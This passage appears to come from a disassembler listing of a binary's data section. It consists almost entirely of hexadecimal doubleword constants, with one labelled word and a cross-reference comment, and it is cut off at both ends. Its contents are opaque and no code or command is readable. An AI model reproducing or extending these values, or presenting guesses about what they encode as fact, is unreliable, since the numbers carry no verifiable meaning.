0D4A66929h, 8645008Dh, 611ED0ABh, 2400E890h dd 77261D76h, 2A806AB3h, 2AB8B65Ch, 2ACFAB1h, 36940A7Ch dd 5C660549h, 4F433311h, 0B1B42903h, 310287D3h, 1FA8F6F9h dd 86704988h, 1C408025h, 9982662Ch, 1C63B04h, 0CFC5A10Bh dd 1D0C803Dh, 7133A88h, 9B4C78A1h, 618B5037h, 0F9F06FF0h dd 7B4CE550h, 485F220h, 1566FCD9h, 0DAB4834Fh, 8C8E398Ah dd 956080A4h, 555408A0h, 2D933D80h, 35EF9B9h, 0B149A186h dd 0A100A925h, 0CD5C3E48h, 10E996h, 11DB1B1Eh, 8015C2C3h dd 29B75D30h, 4C7F982h, 9ACEBF90h, 6984D264h, 3065D861h dd 48C06ECh, 0C30FB86Eh, 207A6272h, 0F7B5C620h, 0A553E600h dd 0CC34937Dh, 27BB05F6h, 8033569Bh, 25C610A8h, 5D7BC300h dd 0B93F8C01h, 22D70ECCh, 0F620A6BCh, 0AFD976BAh, 7B82CD05h dd 6C004680h, 216D2B4h, 0AD7F8Fh, 45EA98D4h, 6DCF9F94h dd 79928209h, 0DB24B016h, 27BF11C4h, 0A8FB8A26h, 0C4E36C80h dd 49AF2C30h, 4400087Ah, 0C3AB31ADh, 0A82C9263h, 2C3DB017h dd 0D90E0C35h, 10ACFD09h, 5EFAD540h, 0DC475059h, 0C079059Fh dd 604126CBh, 0EB8859Ch, 88AC323h, 21002331h, 9FC4B5BDh dd 44780124h, 6930CC81h, 238266Dh, 0D284A10Ah, 80633145h dd 0A1123521h, 18BE3043h, 1951412Eh, 0DA61F947h, 4E093589h dd 18E51980h, 64F0191Ah, 8C3E8E24h, 0C0845400h, 63F4597Eh dd 0D1B37417h, 40E6DEC2h, 33606F21h, 0C2F70F06h, 9CC2772Bh dd 21648447h, 35368F60h, 7D5D461Fh, 9794950Bh, 7CFA88B4h dd 0E70CB360h, 294F0EA3h, 0E92B2CBh, 5ECCFB68h, 0A8AC7198h dd 66A10E26h, 8CEE251Ch, 163158h, 3B5CE8A1h, 4CB47460h dd 2515F500h, 30030C09h, 14B701ACh, 0ED695ADBh, 9420341Dh dd 0E89C5548h, 0BEC8C77h, 9AE41F0Ch, 6F39E7h, 30159D13h dd 0DC1B9FF2h, 8008BC59h, 0FAD7EDB8h, 4600878Fh, 6DEAEDB6h dd 21770002h, 0E6C152A3h, 8CA06582h, 0E0305801h, 7F4CF116h dd 77BD2E67h, 5EC8A6B8h, 71867CEEh, 12C617ACh, 7F7003E0h dd 410FA8C5h, 3B6AE327h, 6CD08478h, 8023449Ah, 0CD00B38Fh dd 0B80F96E0h, 6212F1h, 0E4332435h, 844D80D7h, 9E0BE303h dd 98E217C0h, 0D11E09Fh, 907742Ch, 94802050h, 7DB2BE15h dd 0DC7E0180h, 41672912h, 6E23A640h, 0A49B1CB6h, 0F03F809Dh dd 0CA03DD1h, 6AB1BB16h, 0C7B07C37h, 0C49CD2h, 507825EEh dd 0F088937Fh, 0B1D4816h, 0E8D03014h, 694321h, 2473CC06h dd 4AECFE3h, 864FFA70h, 6108826Bh, 54441C47h, 1C766660h dd 0B035A802h, 0A079B217h, 0FE6D3A80h, 5D3B0090h, 4756085h dd 170A4CC6h, 0C47C6C4Bh, 65F32740h, 2D210252h, 300449B0h dd 0B32584A3h, 3F35E10Eh, 0AFC05F3Ah, 92880ED1h, 0DD540158h dd 0BEBBA1C3h, 0F5C230Ah, 0A04C12D0h, 76C54DF3h, 873F00BDh dd 436CC226h, 84E0995Ah, 9F009890h, 0E44906CBh, 4C2F8650h dd 0AD865035h, 4300C988h, 0C5DAEB2Bh, 3D7D144Bh, 9713C4C0h dd 0E3440361h, 7903E89Ah, 0B12F99A2h, 13C3A88Bh, 59F7746h dd 25AF17EDh, 1210924Dh, 0B0C4DF30h, 6C064950h, 8087F888h dd 0A400C407h, 16DF0E6Fh, 409FE90h, 0B488765Eh, 0C2405784h dd 2C7490BDh, 1774312Ah, 2D402099h, 954ACA91h, 0FE0F82FCh dd 80742496h, 46803C5Ch, 21DD49C6h, 634D1600h, 9E027AFAh dd 6E06002Dh, 0C9DE118Bh, 10932326h, 0CB5C700h, 8616BAC3h dd 0CCE03255h, 0ACA9B5BFh, 0CD4D1054h, 0B0AB609Ah, 0C203C7BEh dd 7F14FCB2h, 81F8AA6Bh, 585B2291h, 0C410F071h, 492A2F80h dd 0CD00689Bh, 51CE3CB6h, 4CB9AE86h, 181CAB80h, 0C61B548h dd 7CB27693h, 0D93DE241h, 0EA4813h, 0A9EECA1h, 145AC53Fh dd 8817DCF9h, 25C03528h, 0F8979286h, 607CF808h, 51FDCD88h dd 9006187Dh, 1E2FB15Ah, 9720658h, 51AD2313h, 0F515B902h dd 0E147F7ACh, 4980FF9Ch, 0A6AD512Fh, 5C1DB755h, 2D008AD6h dd 80798E77h, 881605F6h, 0D1BEB9D1h, 80500938h, 1985E9F9h dd 5CB89555h, 0D2C11868h, 40AA08AEh, 794FDFB8h, 0BC228326h dd 658C6A01h, 24208202h, 5C713EF0h, 0DD70758Bh, 7DA6DC0Fh dd 0B096B0ABh, 2332215Eh, 33C48A81h, 6084532Fh, 0E08CAECEh dd 2BE6DAD8h, 215C6C9Ch, 0E0817045h, 0D38CB577h, 0A32FFC40h dd 66D8854h, 242C7F49h, 24581C5Dh, 84DC8082h, 0DCE9693Fh dd 0DADB1F98h, 0A7A0F90Bh, 398032A0h, 4BF9672h, 6AB6FFB4h dd 0DB398027h, 7604BB11h, 926C22D9h, 0ACB008F6h, 37008635h dd 9F8D033h, 3B525BA9h, 0C4CCE6CDh, 8330DFA2h, 5680B8B8h dd 7B10B85Ah, 0BB270024h, 99B3C8B5h, 8DC40EE7h, 2D046F9Eh dd 4768C82Ah, 0FC44FA4Ah, 20A4412Fh, 6680190Ch, 6172A9B2h dd 84483568h, 0F9E18408h, 5584FC8Eh, 0CB0F3024h, 44E502EDh dd 7BAF9FCDh, 0AAB7C8A0h, 70008690h, 14BF5AEEh, 144DC680h dd 0E0C48B05h, 4F9FB602h, 44D016CDh, 0D6686948h, 0C070A408h dd 0D281A10Fh, 46301D46h, 0A1173621h, 890B583Eh, 833966h dd 98521C8h, 8E1B27E1h, 0FA4C4803h, 0C004E1E6h, 0E1216035h dd 602630E1h, 0C6CECD0Ch, 0B118AEA9h, 99D957CFh, 1C41C3ECh dd 1E908BD5h, 0C9003FE4h, 852B4420h, 2662F659h, 114CC0ACh dd 93EE1E54h, 0CA690F80h dd 1C1BD103h, 0ECB0C2h, 0A8176332h, 0C65C0AC4h, 0CF23C0h dd 0FAE2ED95h, 4486E027h, 2C004149h, 458FF1EFh, 90C1556Ch dd 874320C8h, 171BF027h, 805511F0h, 9DBBF278h, 0E8062E03h dd 29780B4h, 622D09DBh, 6980B813h, 0DA82E420h, 65670522h dd 0B3E763D2h, 301DA210h, 0B80073AEh, 47B05D3h, 126F30A3h dd 4FF7AFDh, 8815099Ch, 31386174h, 0D1B3008Bh, 0F5FA80FDh dd 78CC497Fh, 74CB202h, 6C64C00Eh, 0BC020C46h, 82C311B5h dd 1E00B447h, 79C5B874h, 0E1643FD7h, 0FAD46801h, 325020F6h dd 0BC9A2C20h, 0DFD04E47h, 17E4AE48h, 20241077h, 0C1192568h dd 0E1E83Eh, 49FA69EFh, 0F7D05B51h, 283CBFDDh, 3C8421C9h dd 0FD18F4B2h, 29C4EC13h, 4C8F7F02h, 4347903h, 5088FF2Bh dd 49C804A4h, 0CCD043F0h, 2DCB35BEh, 8BE7BAh, 0D8826096h dd 80EA48E9h, 1A90FF59h, 0A24AD2h, 9CD5850Fh, 27940B3Eh dd 0A4647628h, 82010A46h, 0D2C30BB8h, 0A0383816h, 0B5BA1Ch dd 0D3351374h, 53B2199Ch, 2B4FF0C4h, 63C8F08Bh, 568EA5C0h dd 7F9F04DAh, 0E48C9AFBh, 0B62DCF64h, 0B088210h, 0E2DC6596h dd 65187CFEh, 16D31729h, 0E54027Bh, 387234DDh, 0DCAEF809h dd 0DE440392h, 9EB3A05Bh, 0C5031830h, 476FD85Fh, 2EBBA0Bh dd 0B9058C58h, 2DF7144Ch, 0A80D473h, 3A175EFEh, 18507B4Dh dd 0D7302284h, 0CC031D68h, 62697206h, 746D3F40h, 4526AB00h dd 0DFBA9C95h, 0D723008Eh, 7EBDDB5Ch, 750005B3h, 645292D0h dd 3098C68h, 0A6FBB79Eh, 30A7B035h, 0AB264D1Ah, 92300A03h dd 0C0525F15h, 109814Fh, 12DF5B27h, 0EDF1DE3Dh, 68ECF89Ch dd 5D6E9403h, 0E9F37886h, 0A770FC8Ah, 9C794CB5h, 190BB700h dd 0B880E1F4h, 6D942D05h, 54B42CDFh, 1D0E5EB2h, 41A63F0Ch dd 57540ACh, 0E0D4FDD7h, 4355E828h, 0E2F80724h, 0A2704CFFh dd 4856BBD4h, 0BC5174E9h, 0FAE808h, 9734CB8Ch, 7494AFB1h dd 4321660Bh, 0ADB58014h, 0B99A919Fh, 1DF10764h, 6F758055h dd 0D13D4E01h, 0EC9080F2h, 0AC1394DBh, 0C2E3E7Bh, 0FC8B103Ch dd 3021F95Eh, 38760327h, 3D911374h, 0F6808C7h, 180C6183h dd 0E0B90728h, 479B8E07h, 8B7F5110h, 2E2B4FE6h, 1E2364h dd 82C853D9h, 3C01FEA3h, 7F62AA01h, 0B15C15Dh, 4CC89A91h dd 2D2D7BC3h, 0E14AC049h, 0FA91012Ah, 7953C79Ch, 0D41FD575h dd 0D059DC1Ah, 0ED948014h, 436FFADBh, 35622E0h, 4DEF7342h dd 0F8104651h, 0D9848A82h, 79891C70h, 0D0C43313h, 0ED27BAC4h dd 6DB03C7Ch, 9203C408h, 0EB519813h, 22F3F17Ch, 3100CC69h dd 0ED7DDF07h, 3E165929h, 0F80BA358h, 4E2CE32Dh, 3C382CD0h dd 2B4A7542h, 7D0510CCh, 1CF0C9C3h, 23FC00CDh, 3386AE7Eh dd 0CA9AAB02h, 61BC6FCDh, 0D1107FDCh, 0FB0FD592h, 0F5A6CCh dd 0AF60989Ah, 346304BDh, 0D9736930h, 0BA4D307Ch, 8015CF17h dd 1300E08Ah, 4046A114h, 590E8432h, 0A0588D2Ah, 79AFC33h dd 1749CE82h, 0B1C9E200h, 92070FC1h, 0F3D0A5D3h, 0CEED0CC0h dd 237600B0h, 0A2023008h, 0A253AB5h, 8484A0BBh, 2CEDAF4Ch dd 32184A1Eh, 10F80210h, 0BD702Ch, 8A63C585h, 9CCE70E0h dd 81DA44A8h, 3CCBC0A4h, 8C7BB82Ch, 80AC093Eh, 217571D3h dd 24CEF972h, 1201C2Ch, 824D35ADh, 83B42029h, 0FA1FF980h dd 0D194B91Eh, 1401856h, 0D086B0CCh, 60AF6EFEh, 65186B18h dd 0DAD85A02h, 0F56024C7h, 8F228128h, 316FAF06h, 704984FCh dd 0E0A928A7h, 7D5A7922h, 3AF4430h, 0F053413Eh, 0CA0B663h dd 1F35ABBh, 4C72CA21h, 1B3079F2h, 0AB03A8Ah, 51D10984h dd 0CEFC8187h, 99719612h, 25F03097h, 3C30Eh, 8751182h dd 4E7401B5h, 12A8793Eh, 3CB22345h, 9D3021F2h, 72E7A6Bh dd 9F80D527h, 8C8A19DAh, 3853C9FCh, 0ACED50h, 4299C0AFh dd 3562FC66h, 50507320h, 4372F80Fh, 0EDB602B1h, 311FFADDh dd 301258h, 0C5D2E0Ah, 8B0FF7Dh, 256D870Ch, 0EEA699B5h dd 0A85002B7h, 0A3195796h, 91D4AC0h, 0CBC27912h, 5488D0CBh dd 0DC7230C0h, 20691D11h, 0AF0584DBh, 0B03480B1h, 0BA5DD327h dd 6CDD2630h, 9420EF60h, 1A410221h, 0F7B848DAh, 28E000C1h dd 0BF96C468h, 4C3F24h, 9AB8F4E4h, 88FC040h, 0AD58B6D2h dd 5307AE04h, 9FF90090h, 0DB5B1FC4h, 0CABF452Ah, 49E08239h dd 0F0B4AD24h, 92BE00EDh, 0D983AC59h, 9960B411h, 0CA5ECE58h dd 41749C51h, 2A6333C5h, 9A094004h, 360A0B4h, 4AA3997Ah dd 0E1C8FA07h, 9F012423h, 0C259DB02h, 3C28293Ah, 13486B4Fh dd 288866F3h, 0D6CD097Ah, 90E05010h, 0F91282D5h, 0F4034A38h dd 0C004A53Fh, 0B22E367h, 790333C3h, 0D8AB64A2h, 43104CFAh dd 204867D7h, 2C1A610h, 30D333BDh, 1AFEC160h, 54B8A078h dd 0F9AD048Ch, 0C8AFBA2Bh, 0BE00CE34h, 2D247019h, 9780DAB0h dd 0B1DE7021h, 801C2CF7h, 90ABEBAh, 64353CC6h, 115C084Fh dd 94C4E2C0h, 8B0E4A27h, 0A7F0250h, 42E720C4h, 1D6446E8h dd 2EE29B35h, 66FB02B0h, 0A8D816F1h, 5070D614h, 38A57A48h dd 2A60F864h, 0A50F1BB9h, 5E56E19Bh, 0B1418864h, 0E18482D1h dd 9536D978h, 0E178F204h, 0B80C247Ah, 0B50BCF2Eh, 0AEF8A801h dd 33D8C5B2h, 64B09752h, 0F42C31BAh, 270AA11Eh, 1040B0F3h dd 4B49CBF5h, 259446FDh, 8200A9B4h, 152CC5C3h, 0F85792h dd 168FAE32h, 0C0B667A1h, 6C44B04Fh, 90140302h, 0C97E10h dd 82DA28D6h, 62C743C5h, 0DC659187h, 709B1A05h, 1C508980h dd 249CF9B3h, 0EBB17982h, 35744081h, 0D0A84B5Dh, 0AB3FB9D8h dd 5C627224h, 3A96AC14h, 65638966h, 0C0D0F6h, 37547479h dd 0AA2E1AD3h, 40C1C6FEh, 0C06F06CBh, 1DA0E093h, 3B0C44Ch dd 82108071h, 4415B57Ch, 10804F97h, 9001C4Bh, 2BAD5EFEh dd 7206E07Bh, 0BFFAD57Ch, 0B8637048h, 95D82D40h, 3992BC35h dd 0C156200h, 22573CEh, 0AED23EECh, 0C4A1A858h, 681E761Dh dd 0BCC45830h, 0DD3A8C1Dh, 5EC4806Ch, 1C706B1h, 8AE14CFh dd 6505E8E3h, 7A7F35h, 0DD2FF99Ch, 1355F5B1h, 245EF6E8h dd 56F6BF41h, 0E43FAC3Ch, 190C40DEh, 0A2D5728Bh, 2DD6A300h dd 0B29CE7Bh, 0E3C4007Ah, 7C26065Ah, 6FE6F525h, 0B495DE2Ch dd 7CF8215Eh, 0D9008AA4h, 4773F2A4h, 0E8991481h, 0D501DC22h dd 95615ABAh, 48182072h, 68DA2B4Ah, 286BC4C0h, 9302B5A4h dd 0BEDA0A40h, 734A55Ah, 7382888h, 59122893h, 510C405Ch dd 9998D446h, 8FF3D000h, 1EB974C8h, 94929D54h, 1E11DC17h dd 6A78C780h, 0AF00B729h, 0BC474FB2h, 0BCED60C8h, 946028DCh dd 0C3217610h, 26898079h, 8CC1BB65h, 60230100h, 0F8FECEE9h dd 903C906Ah, 592F2038h, 24A17C17h, 0D9234020h, 0EB9A0073h dd 1D9D967Dh, 8DE2A43Eh, 0A8D0D061h, 0D827A106h, 3A603A10h dd 8B1C25FBh, 7A2C046Ch, 0FD04B8ECh, 87F7925Eh, 0B1F5C3B0h dd 510D4101h, 66FAB864h, 0F8851BD5h, 0A2064CD7h, 6034071Ch dd 0E1EEC7ABh, 2F86BD56h, 10402E2Bh, 60C17046h, 0F8686AB3h dd 7C9A07FFh, 0D334B617h, 1803E4D4h, 87658B72h, 0A7285200h dd 43BE0035h, 2244B3Ah, 39050520h, 13098472h, 11E08480h dd 274498F3h, 48404CDFh, 64600EBEh, 6EAF7951h, 0FBAD00B5h dd 0C57517BAh, 6F0E1FFFh, 41B0A704h, 0D2B1BBB9h, 0CA2DA067h dd 371B8410h, 6C2CB498h, 59003D9Bh, 0DD0D1FF9h, 0ACA8BC9Ch dd 4B861727h, 1830C274h dd 492461B1h, 8200A071h, 189AF0C0h, 0F95A0DDCh, 2A18518Ch dd 2A0E4804h, 0C4848B13h, 0A2372332h, 6456372Fh, 64ECED51h dd 16FC0E17h, 0A580D9AAh, 0EA52E334h, 0C30208B6h, 0F31A7A86h dd 0EDAD5834h, 747AFC17h, 6820CA12h, 0EAC8268h, 69882960h dd 0B3276CC4h, 0E57125A4h, 601FE4D8h, 97520h, 6FD27950h dd 363187D9h, 0D6025A00h, 0A81E44B8h, 0B05B0122h, 1A1C4316h dd 807C3C11h, 0AC57820h, 52F800ACh, 1947EAA1h, 1C27DD17h dd 5C24E2A2h, 24465ED8h, 0D2EB8500h, 0AF349F9Bh, 0D74B3D79h dd 1C01088h, 4A35F295h, 40DCA964h, 30C4F6D4h, 31248190h dd 990CD4CCh, 9831EBh, 0C817FEC3h, 64321B45h, 0C00DF27Ch dd 79F50934h, 915495EEh, 0FC40891Dh, 0D9300093h, 0CFD3D5B8h dd 0B06D627h, 0AA14607Ch, 69AB407Dh, 8516B819h, 0D9107668h dd 2F264702h, 350428D4h, 8A0CED3h, 795E0CF9h, 619874Eh dd 0DD10EC42h, 64A68245h, 54082FABh, 0BEF6EC02h, 58E44244h dd 72E323A8h, 9030C912h, 0C0C22DC5h, 9EB4D9D9h, 749C7E02h dd 6BEE441h, 3A3BC0h, 3093A18Ch, 10948B2Bh, 0BD6AAF01h dd 0A0B552DAh, 75783C6Ch, 50170B1Ah, 44CD32FAh, 6AB8A760h dd 0D1243810h, 97E4DF28h, 3C0768BDh, 2DA29B29h, 0F594A4AAh dd 6DB6495Eh, 6170F4D3h, 3ED403EAh, 4A07BC09h, 4384C100h dd 0D1BA5BF5h, 21D248E5h, 0DAF26700h, 71AE2AAFh, 9FBB1500h dd 76855DADh, 2C3E7408h, 0ED91ABAh, 7E833577h, 101119C4h dd 0BB800E75h, 9A513F0Fh, 36BC31C1h, 41AD2045h, 6B09AC6Dh dd 62246751h, 691879C3h, 3906076Bh, 0C0FCD6CEh, 9D53B1Fh dd 66DB5B00h, 34B82E1Eh, 0B9E516ACh, 49FC09D7h, 25446828h dd 33D98090h, 692C3401h, 261B049Dh, 6314A030h, 0C86A214Fh dd 5D07AFB8h, 0F8C2F61Eh, 2802F5D2h, 54379780h, 8E8240F8h dd 417F687Fh, 0C4E15D1Ch, 0C0261640h, 13E3D043h, 0B24E380Ch dd 0EFD80024h, 0AD5B5E73h, 0A8120045h, 0D3D95F2Bh, 0E7F771A9h dd 0C2EDD6E8h, 48102504h, 2F443107h, 19F0BD28h, 8F5181ADh dd 0DA4F20h, 76A00EE9h, 4DE79B26h, 39459930h, 1E4CA53h dd 7DA530ECh, 3ADEBC19h, 249EC20h, 28E22Eh, 5E7F9826h dd 0A1BFB4E7h, 4E919658h, 8EBC8C1h, 3FFB4C01h, 8A110040h dd 5C45BCBAh, 0FBBCA889h, 2007C43h, 1D6CD3FAh, 1A4AF6B3h dd 1099A00Bh, 74BCD80h, 0A00CFA5Bh, 835E50FCh, 0F100818Bh dd 32048413h, 2093757h, 0AECBA134h, 0B4C22B5Ch, 0B7060FBh dd 0CFB32752h, 3410DCE8h, 20B9CDF0h, 0A2F9238Bh, 56D5D70Ch dd 71E8430Ch, 0D33602C8h, 647F8425h, 1ABD4C98h, 4EE7610Fh dd 0D4CA259Dh, 0BC709C7Bh, 38020048h, 0AE7CD19Eh, 0CB9342Eh dd 0BB859F60h, 468B093Dh, 10C9AF2Dh, 0F77530CAh, 34D8C500h dd 0B264FABBh, 0F3103D53h, 4F4B1580h, 0BC110A84h, 22D79F02h dd 84462C2Dh, 0C05E8030h, 90366BEAh, 8E0038AAh, 0A24D2B3Dh dd 1AC2C0F1h, 28DB08B2h, 0B1007C66h, 5D5BE280h, 0FAA69BDEh dd 6CF81F5Ch, 34F649DCh, 0BB4684C4h, 89EDB91Dh, 48F9C7FAh dd 0EF6F4561h, 193F2F0h, 0C49287E8h, 96D2BB33h, 24DA1AD9h dd 0E20E98CFh, 0D809C2C0h, 0C101BF9Fh, 0E9FC568Ah, 8C48BED5h dd 52694424h, 0FE257988h, 3E7F0BEBh, 0CF8F165Ah, 40695640h dd 340A0EF9h, 0A877A32Dh, 13998082h, 0D9F4D1C0h, 26811976h dd 23251FDAh, 0FB142411h, 81584E3Fh, 0FFCC0CAFh, 4CF8E9DBh dd 0BD500AC9h, 12BC93A2h, 0F7B80F8Bh, 0B20CF3F6h, 4DA2304Bh dd 0C1E6F300h, 7E143D86h, 449613FDh, 88B809D1h, 0A56058CDh dd 3BD3484h, 80C93CB8h, 4116AB62h, 1491CFB1h, 5E7B2475h dd 94D08970h, 0AA00C471h, 0EA3DCBCAh, 0D3480051h, 0A2690318h dd 620022B1h, 677D2DBDh, 5C022C2Fh, 20F8B884h, 4491008Ch dd 0E455644Eh, 0D704E187h, 2EFCAECEh, 9FD640C0h, 701603C2h dd 0B5B7D8F6h, 0CAECFC0h, 5B202F6Bh, 2B2D7084h, 87F79A00h dd 0A612D0FFh, 2FD80534h, 0DB960405h, 0CC899E48h, 11001D75h dd 27AE8049h, 2CF31F6h, 4C62EB96h, 7C6A7F05h, 3278E079h dd 0A1248623h, 7D60902Eh, 2507CEFDh, 30677BC8h, 187CFC42h dd 117AE702h, 0C92B5E1Ah, 423CC748h, 0AC187CFAh, 0EF1E3F22h dd 12BCC15Eh, 0F0D4F2A1h, 3380B640h, 44F802h, 0BCCA92FAh dd 9F8FA40Eh, 2F268379h, 0D060C4CFh, 1355238h, 7AB34CC1h dd 0D00E803Ch, 80BCCA0Ah, 2479215Ch, 0D112E680h, 482EAh dd 0D5A02AFBh, 81C3F8D8h, 0BB5017B5h, 3E0E7DA3h, 0B1584091h dd 0BB5A96Fh, 0D873D288h, 0F9E44445h, 2AE05F67h, 0FA88BBF4h dd 1C5F76E6h, 0EBC23020h, 950C004Ah, 0EE3E8437h, 330135A6h dd 87FFBB09h, 8C5BA479h, 39B3C09Eh, 1C58772Bh, 0ABEE9704h dd 1CE2079Fh, 0DAD76000h, 30B97F8Bh, 0AA39F11Eh, 1DC0135Dh dd 27C622ECh, 0CB834E28h, 0C076C82Ch, 2D8FAA95h, 49233E2Fh dd 63C49E90h, 53B50055h, 8A9DA2D3h, 0A609BBE0h, 10230491h dd 484E5DD0h, 3900BC48h, 0E72E824Fh, 9800A10Dh, 343D401h dd 4FA72156h, 0DFA08BABh, 0E2C06950h, 24342BE6h, 219AFE25h dd 53C25890h, 5C8459F8h, 57C084B2h, 0CC5A55DAh, 50286E7Eh dd 3B076825h, 4A658A0Bh, 0E5DC3F81h, 7BCCE82h, 74F66992h dd 70632176h, 9380119Dh, 8D33734h, 80B45EADh, 0C2D117F4h dd 51C32479h, 0C3F25F66h, 66FE8AD7h, 0F7B12C18h, 6B7F42ECh dd 909490C4h, 0E0BDEE43h, 0A5AD39h, 2DDD4536h, 6CEC284h dd 4F6C7512h, 54E844A8h, 1A2B008Ch, 9AE3049Eh, 0FF4F49E1h dd 3FBE1840h, 38BC1A8h, 6927114Ah, 0EDE1DAEBh, 394C4114h dd 9A52FC47h, 0F7A28F3Ch, 178E5A02h, 70E306D2h, 88BE4E94h dd 24073134h, 0F77355A1h, 1B58E87Bh, 547D0056h, 536B721Fh dd 0CE3A6D8Ch, 9DA00F1h, 80AA3A5Bh, 0FA5C0085h, 4DFDC9A8h dd 3517BC2Fh, 0A033DAD3h, 0BF31ACB9h, 57FAE8EDh, 3471787h dd 9A55ACB0h, 0E0DCA6F2h, 0CA4D1540h, 411C0AFEh, 562C1BB5h dd 933F4B46h, 8AD45A80h, 4C54E163h, 61E4F031h, 0AC73362Fh dd 292D1006h, 47141152h, 80C0E1FCh, 66AEF59Fh, 0C0A4A233h dd 403BF62Ch, 0A61C69DCh, 0EA01D128h, 0DD823CACh, 46B11073h dd 4BA00C70h, 4D1021BBh, 0F696D88Bh, 64C84E25h, 30CF2E8Ch dd 0F0460FD9h, 64C0A420h, 1201A99Eh, 0F7FF08ECh, 0A4238414h dd 10D02B5Ah, 0B4C7691Fh, 826D307Ah, 0BB0EDD3Ch, 840FE4D7h dd 0B0C1D986h, 74309034h, 28814C35h, 1CB24Bh, 9991B04Bh dd 9E819CBh, 6532BB35h, 0E5A90C04h, 1759C02Ch, 248F3A00h dd 374D41D0h, 20DE499Bh, 942B1Dh, 3F6B56F9h, 0E1029330h dd 0DAFC8FADh, 7C344627h, 7A353A9Bh, 0D08CA009h, 14EF7418h dd 30E4C44h, 4548B5D8h, 53E81ABEh, 0F496CA13h, 247A215Ch dd 30AF8FBEh, 13B608Ch, 116A2E67h, 137CAD64h, 0F7003358h dd 0CFCA8FD6h, 12C514FCh, 230010AEh, 4BEBA33Ah, 0F60038F3h dd 0DD4E3F01h, 20BA6AAh, 645B3BA8h, 2C411E9Bh, 2039BEh dd 2126EDFBh, 1A2F87h, 125B0A80h, 59A9FE0Ch, 0D1D20B8h dd 813D3915h, 73CED928h, 7C28F7B3h, 35EA5C80h, 6F0084D2h dd 0BCB990F9h, 39F80DAh, 0AD217DE5h, 66C269C2h, 3F1ED8DAh dd 4EC2DF87h, 0DE607F72h, 37D40C8h, 8201AE0Eh, 0BCB36E3Eh dd 16E45C6Ch, 12B8D6D4h, 0C06C20E8h, 9A309035h, 0DBBC1188h dd 60EA000Bh, 0B1225A8Fh dd 0C90E1E6Bh, 0C5B5DE64h, 0F980319Ah, 0A8F90790h, 78C2E0h dd 0C196D351h, 689146E0h, 672B6500h, 0AE2EFFC3h, 959B03ADh dd 7DDB80EAh, 0FD724FC0h, 0B100FE7Dh, 538EDA03h, 47A386h dd 74BB7DD9h, 0CBB40C10h, 2DB61300h, 7A12FEF7h, 20D560B5h dd 3494B24Bh, 96DB790Dh, 5AF0082Fh, 0F97F00A2h, 0C026A503h dd 40029C5h, 80FD833Dh, 0EC2D893h, 681F0274h, 0B0BB7CE7h dd 0A6F57729h, 887D1A06h, 19CA67h, 0D849B493h, 4043E339h dd 7405161Ch, 475F7640h, 0E94F452h, 4611AD5h, 0DA295660h dd 88C07E01h, 5C743BBBh, 10E411h, 0B1EB1EB9h, 2DD299B3h dd 228E5001h, 20C3FF6Ch, 0E01108E8h, 4BF276h, 3D660B47h dd 79643963h, 0B0CDEB0Eh, 90D847B5h, 0E06152C6h, 40E71FDDh dd 4FB41F68h, 123CEFAh, 2000DA43h, 74BD3483h, 14976204h dd 0A54F9D68h, 0B8581F06h, 0DF38E2FEh, 7E301819h, 2A90DB0Eh dd 18C03B42h, 187A2767h, 0F7050E55h, 30975EACh, 42EAB445h dd 0DA98D1C0h, 73530024h, 4C0A4383h, 0AF76E35Ch, 302F123Ah dd 7D4958BCh, 94790940h, 80DD7A57h, 0A708A2D3h, 0C6360A81h dd 7504845Ah, 0DE41005Eh, 0A0CA9A4Dh, 143124A1h, 7E79215Dh dd 95C12980h, 9099FA43h, 0B9C9F307h, 2AB0942Ch, 1526ACh dd 0DE3D29ABh, 0A0BA16A1h, 82013B7Ch, 6A308366h, 499C807Bh dd 1DFE0060h, 0B4CB3931h, 0E1A66D06h, 217D79h, 865F0F89h dd 0A43B1AD1h, 0C0709892h, 0D300F671h, 9F0DE9FDh, 1CD2A5Eh dd 67D143F3h, 303484DDh, 77305852h, 79AF213Eh, 583763A7h dd 0D4D0B769h, 501E5853h, 0ADC0ED73h, 0CBA427E2h, 4BA8C187h dd 83243A6Eh, 429C2BC0h, 0C9E79FDEh, 3034AC80h, 0B7510DABh dd 0CAF86846h, 1EA32E23h, 0B01A9h, 534D9025h, 0C533DDB6h dd 0D3FA5014h, 0DD10002h, 0C3166623h, 287969DBh, 0B17E5D28h dd 8A0F9F8h, 652C6C2Ah, 5700C39Dh, 7B932712h, 699900ACh dd 0D805B58h, 0A8508A0Eh, 0AE00D3DCh, 2B375F55h, 452DC6h dd 69F08617h, 7B3F9334h, 4F701079h, 50D21A0Ch, 0C714D226h dd 0FAF66C0h, 5F8A05h, 0F9DB5584h, 411D272Ch, 0A2DBA17Bh dd 26DA88B8h, 0B2D304BAh, 0FE638h, 98B97074h, 0F237FC40h dd 0C5B700D5h, 0BA774558h, 2F00D876h, 0E398B6C7h, 30CE4D8Eh dd 6F18B87Dh, 0D57F6345h, 8205EF7h, 0E22E6Bh, 2482D4D7h dd 780014D1h, 9C209121h, 1FE618CAh, 0D81DBCh, 72F0EB48h dd 0DA008C87h, 947AFF2Bh, 4221B81Ch, 804FCCD1h, 5F9520C7h dd 0C914BA54h, 0A3A17103h, 0C06FE507h, 34D1AEEh, 41E21062h dd 89E0CE6Eh, 0D902F2A2h, 0B3601EBBh, 14349377h, 80976408h dd 782D5A08h, 0C0A087D6h, 29A831D7h, 3D52C600h, 33E29A23h dd 0B206003Ch, 79B5D070h, 95001088h, 4AACC5Ah, 1A17E59h dd 73559061h, 203CEB5Dh, 0FA017938h, 0C9A84C89h, 0F840388Bh dd 0C47BFDA1h, 443A5729h, 994490BEh, 3A615D39h, 0F2223722h dd 0F0CB108Fh, 3C752858h, 5131EA22h, 0B54614B6h, 11714229h dd 0AA210F53h, 0D80B710h, 9A735160h, 6477FC00h, 787D0FA0h dd 88C402F3h, 21FF0331h, 75D40E60h, 2BEF3900h, 0C824A441h dd 12A6001Ah, 46B52F06h, 0AC3C6A07h, 0CF150011h, 0E0F66588h dd 0B35900FEh, 0BF04B7CEh, 207724Eh, 3F49AA2h, 0EE201C90h dd 27FD16D5h, 5D03BA46h, 80452668h, 70175275h, 0ADE6009Eh dd 3F5EC37Fh, 160097BEh, 0C0EDD2BFh, 0B99919h, 0CFE535BBh dd 0F908132Ch, 395DCA00h, 0D0FE9641h, 0E499008Ch, 26C00215h dd 0A600088Ah, 823B8B72h, 92181Ch, 0E85219DBh, 0EB0195D1h dd 0AB235100h, 0DE6E3873h, 28880070h, 93A84EFAh, 98503101h dd 0DF03958Bh db 0C4h, 0B7h word_505446 dw 2309h ; DATA XREF: ___:off_435710o dd 0CE3980D6h, 508C0784h, 8007F47Dh, 90A7E589h, 